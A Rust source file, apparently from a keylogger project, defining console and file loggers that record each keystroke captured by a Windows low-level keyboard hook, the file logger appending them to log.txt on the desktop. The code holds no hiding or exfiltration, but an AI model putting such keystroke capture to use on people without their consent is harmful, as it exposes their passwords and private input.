LordMZTE
277de089db
this prevents the module from having the same name as its parant and makes the linter happy
37 lines
1,007 B
Rust
37 lines
1,007 B
Rust
use crate::logging::logger::Logger;
|
|
use winapi::um::winuser::KBDLLHOOKSTRUCT;
|
|
use crate::scan_code_to_key_name;
|
|
use std::fs::{File, OpenOptions};
|
|
use std::io::Write;
|
|
use std::path::Path;
|
|
use std::sync::Mutex;
|
|
|
|
pub struct ConsoleLogger;
|
|
impl Logger for ConsoleLogger {
|
|
fn log(&self, key: &KBDLLHOOKSTRUCT) {
|
|
println!("{} >> {}", key.vkCode, scan_code_to_key_name(key.scanCode));
|
|
}
|
|
}
|
|
|
|
pub struct FileLogger {
|
|
file: Mutex<File>,
|
|
}
|
|
|
|
impl FileLogger {
|
|
pub fn new(filename: &Path) -> Self {
|
|
FileLogger { file: Mutex::from(OpenOptions::new().create(true).write(true).append(true).open(&filename).unwrap()) }
|
|
}
|
|
|
|
pub fn new_default() -> Self {
|
|
let mut path = dirs::desktop_dir().unwrap();
|
|
path.push("log.txt");
|
|
Self::new(&path)
|
|
}
|
|
}
|
|
|
|
impl Logger for FileLogger {
|
|
fn log(&self, key: &KBDLLHOOKSTRUCT) {
|
|
self.file.lock().unwrap().write_all(format!("{} >> {}\n", key.vkCode, scan_code_to_key_name(key.scanCode)).as_ref()).unwrap();
|
|
}
|
|
}
|